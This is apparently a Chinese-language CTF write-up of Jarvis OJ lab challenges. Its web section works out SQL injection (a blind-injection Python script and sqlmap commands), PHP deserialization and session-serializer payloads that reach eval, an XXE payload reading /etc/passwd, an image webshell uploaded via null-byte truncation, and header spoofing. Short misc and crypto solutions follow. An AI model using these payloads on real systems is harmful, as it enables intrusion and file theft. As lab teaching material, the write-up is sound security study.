WEB
PORT 51
打開後發現需要利用51端口進行訪問呢
直接利用curl命令訪問即可
命令用法
curl –local-port 51 http://xx
flag:PCTF{M45t3r_oF_CuRl}
Login
打開後是一個輸入框,隨便輸入,嘗試抓包,得到hintHint: "select * from `admin` where password='".md5($pass,true)."'"
直接百度,得到一個博客
直接輸入字符串ffifdyop得到flag
LOCALHOST
看來需要localhost access only!!
直接利用Modify Headers直接加上X-Forwarded-For: 127.0.0.1
即可
神盾局的祕密
打開是一張圖片,直接抓包
會發現有個base64編碼的地址,猜測這是利用base64訪問任意文件
訪問showimg.php
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
訪問index.php
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
查看shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
看到源碼可以知道這是一個序列化的漏洞,直接按照格式生成一個,payload
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
}
$a = new Shield();
$a->file = "pctf.php";
echo serialize($a);
?>
得到
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
flag
<?php
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
IN a mess
查看源碼得到提示index.phps
,訪問得
?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
因爲eregi
遇%00截斷,所以構造b=%0011111
根據弱類型比較可構造id=0a
比較複雜的就是a的構造,需要a爲一個文件,且內容爲1112 is a nice lab!
,經過百度,可以將此保存1.txt
在自己的服務器上,然後根據10進制ip
繞過.,另一個就是利用僞協議繞過
完整payload
得到^HT2mCpcvOLf
似乎是地址,訪問卻啥也沒有,但後面補全了id
,猜測sql注入
試了試,的確有waf防禦
過濾了空格等,但像關鍵字值過濾一次,所以可以雙寫繞過
共有3列,顯示位爲第三列
表名content
列名id、context、title
得到flag
Easy Gallery
打開後測試一下,發現是一道上傳圖片的題,並且極有可能是文件包含,地址很像
先隨便上傳一個照片
發現訪問照片的地址是uploads
,再聯想文件包含,這是開始構造一句話木馬
這裏爲了方便我直接利用edjpgcom
工具構造
當嘗試上傳一個圖片馬的時候,出現警告
需要用%00
截斷一下
結果被阻止啦,看來不能行使<?php ?>
形式,直接用<script language="php">phpinfo();</script>
出現flag
Simple Injection
方法一
打開後嘗試用AWVS掃描,發現username有一個注入點
嘗試用sqlmap去跑,直接用sqlmap.py -u http://web.jarvisoj.com:32787/login.php
發現有錯,無奈只能在本地運行
sqlmap.py -r D:\工具\sqlmap\sqlmapproject-sqlmap-aa21550\text.txt
然後直接利用sqlmap命令注入
sqlmap.py -r D:\工具\sqlmap\sqlmapproject-sqlmap-aa21550\text.txt -p username --tamper=space2comment --dump --batch
得到賬號密碼,解碼得到密碼爲eTAloCrEP
輸入用戶名密碼登陸即得flag
方法二
首先輸入admin/admin
試試,發現報的是密碼錯誤,再嘗試1/1
,發現報的是用戶名錯誤,這是就可以知道,這個驗證機制是先驗證用戶名,當用戶名正確時在驗證密碼
然後利用admin/admin
測試一下過濾了那些可用字符
可以使用'
#
發現只是簡單的過濾了空格
看來是利用報錯注入,且一般的字符都沒有過濾
先手工猜測一下庫表名
admin'/*1*/or/*1*/exists(select/*1*/*/*1*/from/*1*/admin)#
密碼報錯,說明有admin表
admin'/*1*/or/*1*/exists(select/*1*/username,password/*1*/from/*1*/admin)#
密碼報錯,說明有username、password
列
admin'/*1*/or/*1*/exists(select/*1*/count(*)/*1*/from/*1*/admin)#
說明只有一個用戶名密碼
不管長度了,直接設置長一點,開始腳本
import requests
dic='#123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM_'
flag = ''
for i in range(1,40):
for j in dic:
url = 'http://web.jarvisoj.com:32787/login.php'
con = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#".format(i,ord(j))
#con = "admin'/*1*/or/*1*/exists(select/*1*/count(*)/*1*/from/*1*/admin)#"
#print con
data = {'username':con,
'password':1}
s=requests.post(url=url,data=data)
length = len(s.text)
#print length
if length > 1191:
flag+=j
print flag
break
print flag
本來想直接提交的發現不對,然後看了一下長度,發下是32位,試下md5解密
登陸即可
api的調用
打開直接看源碼
<html>
<head>
<link href="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css" rel="stylesheet"/>
<script src="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js"></script>
</head>
<body>
<div class="show">
<textarea id="tip-area" width=100px height=50px disabled></textarea>
</div>
<div class="control-area">
<input id="evil-input" type="text" width=100px height=50px value="type sth!"/>
<button class="btn btn-default" type="button" onclick="send()">Go!</button>
</div>
<script>
function XHR() { //創建一個XML對象
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);//服務器發送請求
xhr.onreadystatechange = function () { //onreadystatechange是一個函數 的句柄
if (xhr.readyState==4 && xhr.status==201) { // readyState爲狀態碼, 只有狀態碼爲4時執行代碼
data = JSON.parse(xhr.responseText); //將異步返回值轉換爲JSON 格式
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}'); // 將數據傳到服務器上
}
</script>
</body>
</html>
通過分析裏面的JS代碼可以知道這有XHL對象,通過查閱資料
(https://segmentfault.com/a/1190000002782175)
可以知道關於Ajax的運用
(http://open.chrome.360.cn/extension_dev/xhr.html)
抓包
這篇講述了xhr.readyState==4
會產生危險
查找關於XML的攻擊
(http://blog.csdn.net/u013224189/article/details/49759845)
xml entity 可以讀取外置文件,其實entity作用相當於定義全局變量和引用外部文件
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///xxxx" >]>引用外部文件
<!DOCTYPE netspi [<!ENTITY xxe "hello" >]> 全局變量
在一般的異步網站都會有異步數據與服務器的交互,一般傳送數據爲json但如果將傳送的數據格式改爲xml。有很大的可能服務器會解析你異步上傳的xml腳本執行想要乾的事
得到payload:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
將Content - Type:application/json
中的json改爲xml,可以讓服務器解析XML
通過Burpsuite上傳得到flag
PHPINFO
打開是源碼
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
這是一道PHP序列化漏洞的題,三種類型如下鏈接學習
(http://www.tuicool.com/articles/zEfuEz)
處理器 | 對應的存儲格式 |
---|---|
php | 鍵名 + 豎線 + 經過 serialize() 函數反序列處理的值 |
php_binary | 鍵名的長度對應的 ASCII 字符 + 鍵名 + 經過 serialize() 函數反序列處理的值 |
php_serialize(php>=5.5.4) | 經過 serialize() 函數反序列處理的數組 |
首先先本地測試一下效果
首先test.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["Ni9htMar3"]=$_GET["a"];
?>
test1.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Ni9htMar3
{
public $haha;
function __construct()
{
//$this->haha = 'echo "Hacked!";';
$this->haha = 'phpinfo();';
}
function __destruct()
{
eval($this->haha);
}
}
//$m = new Ni9htMar3();
//echo serialize($m);
//|O:9:"Ni9htMar3":1:{s:4:"haha";s:15:"echo "Hacked!";";}
?>
這說明Hacked成功
先構造一個上傳界面
<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
隨便上傳一個東西
然後修改filename
首先看看文件地址,注意轉義
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
看着目錄,繼續
`|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}`
發現目標
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
找到flag
MISC
misc100
這一題的確是個福利題…並沒有涉及到dex函數隱藏等小技巧,只是簡單的使用proguard進行了混淆。可以靜態也可動態(動態先改掉debug檢測,還不如直接靜態看一下),那麼,關鍵部分源碼:
private void getKey(){
try {
InputStream stream = this.getResources().getAssets().open("url.png");
int v = stream.available();
byte[] bs = new byte[v];
stream.read(bs, 0, v);
byte[] keybyte = new byte[16];
System.arraycopy(bs, 144, keybyte, 0, 16);
this.key = new String(keybyte, "utf-8");
}
catch (Exception e){
e.printStackTrace();
}
//code
}
private String handle(String naive){
try {
naive.getBytes("utf-8");
StringBuilder str = new StringBuilder();
for (int i = 0; i < naive.length(); i += 2) {
str.append(naive.charAt(i + 1));
str.append(naive.charAt(i));
}
return str.toString();
}catch (UnsupportedEncodingException e){
e.printStackTrace();
}
return null;
}
protected void Encryption(byte[] key){
try {
if (key == null) {
byte[] bytes = "".getBytes("utf-8");
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
byte[] bytes1 = messageDigest.digest(bytes);
secretKeySpec = new SecretKeySpec(bytes1, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
else {
secretKeySpec = new SecretKeySpec(key, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
}except{
//...
}
}
從url.png中獲得key,然後使用handle函數進行處理(奇偶位互換)作爲最終AES加密的key。flag密文:
byte[] bye = {21,-93,-68,-94,86,117,-19,-68,-92,33,50,118,16,13,1,-15,-13,3,4,103,-18,81,30,68,54,-93,44,-23,93,98,5,59};
new String(bye);
使用AES/ECB/PKCS5Padding,用key對選手輸入進行加密,結果與flag密文進行比對;
故解密時只需
init(Cipher.DECRYPT_MODE, secretKeySpec);
對flag密文進行解密即可。
flag:LCTF{1t's_rea1ly_an_ea3y_ap4}
上帝之音
這是一段神奇的聲音,可是上帝之音似乎和無字天書一樣,是我們這些凡人無法理解的,你能以上帝的角度,理解這段WAV的含義麼?
Hint1: 你們做音頻題都不喜歡看時域圖?
Hint2: 在數據傳輸過程中,我們往往會使用一種自帶時鐘的編碼以減少誤碼率
godwave.wav.26b6f50dfb87d00b338b58924acdbea1
Audacity 打開就是一段稀奇古怪的音頻信號,仔細觀察,發現不同段落其幅值有明顯差異,應該是調幅了,MATLAB 導入 wav 文件看數據,發現大概是以 64 個點爲週期,那麼取幅值高的爲 1,幅值低的爲 0。
clc;
clear;
y = audioread('godwave.wav');
he = 0;
data = [];
for i = 1:length(y)
he = he + abs(y(i,1));
if mod(i,64) == 0
if he > 10
data = [data,1];
else
data = [data,0];
end
he = 0;
end
end
fid = fopen('data.txt','w');
for i = 1:length(data)
fprintf(fid,'%d',data(1,i));
end
fclose(fid);
解出的數據是曼徹斯特編碼,解碼後是一張圖片。
# coding=utf-8
with open('data.txt', 'r') as f:
data = f.readline()
print len(data)
count = 0
res = 0
ans = ''
key = ""
while data != '':
pac = data[:2]
if pac != '':
if pac[0] == '0' and pac[1] == '1':
res = (res<<1)|0
count += 1
if pac[0] == '1' and pac[1] == '0':
res = (res<<1)|1
count += 1
if count == 8:
ans += chr(res)
count = 0
res = 0
else:
break
data = data[2:]
with open('out.png', 'wb') as f2:
f2.write(ans)
掃描二維碼即可。
BASIC
-.-字符串
直接莫爾斯解密即得,提交其中32大寫md5值
熟悉的聲音
明顯是莫爾斯密碼
然後發現沒有價值,嘗試凱撒解密,得到有意義的字符串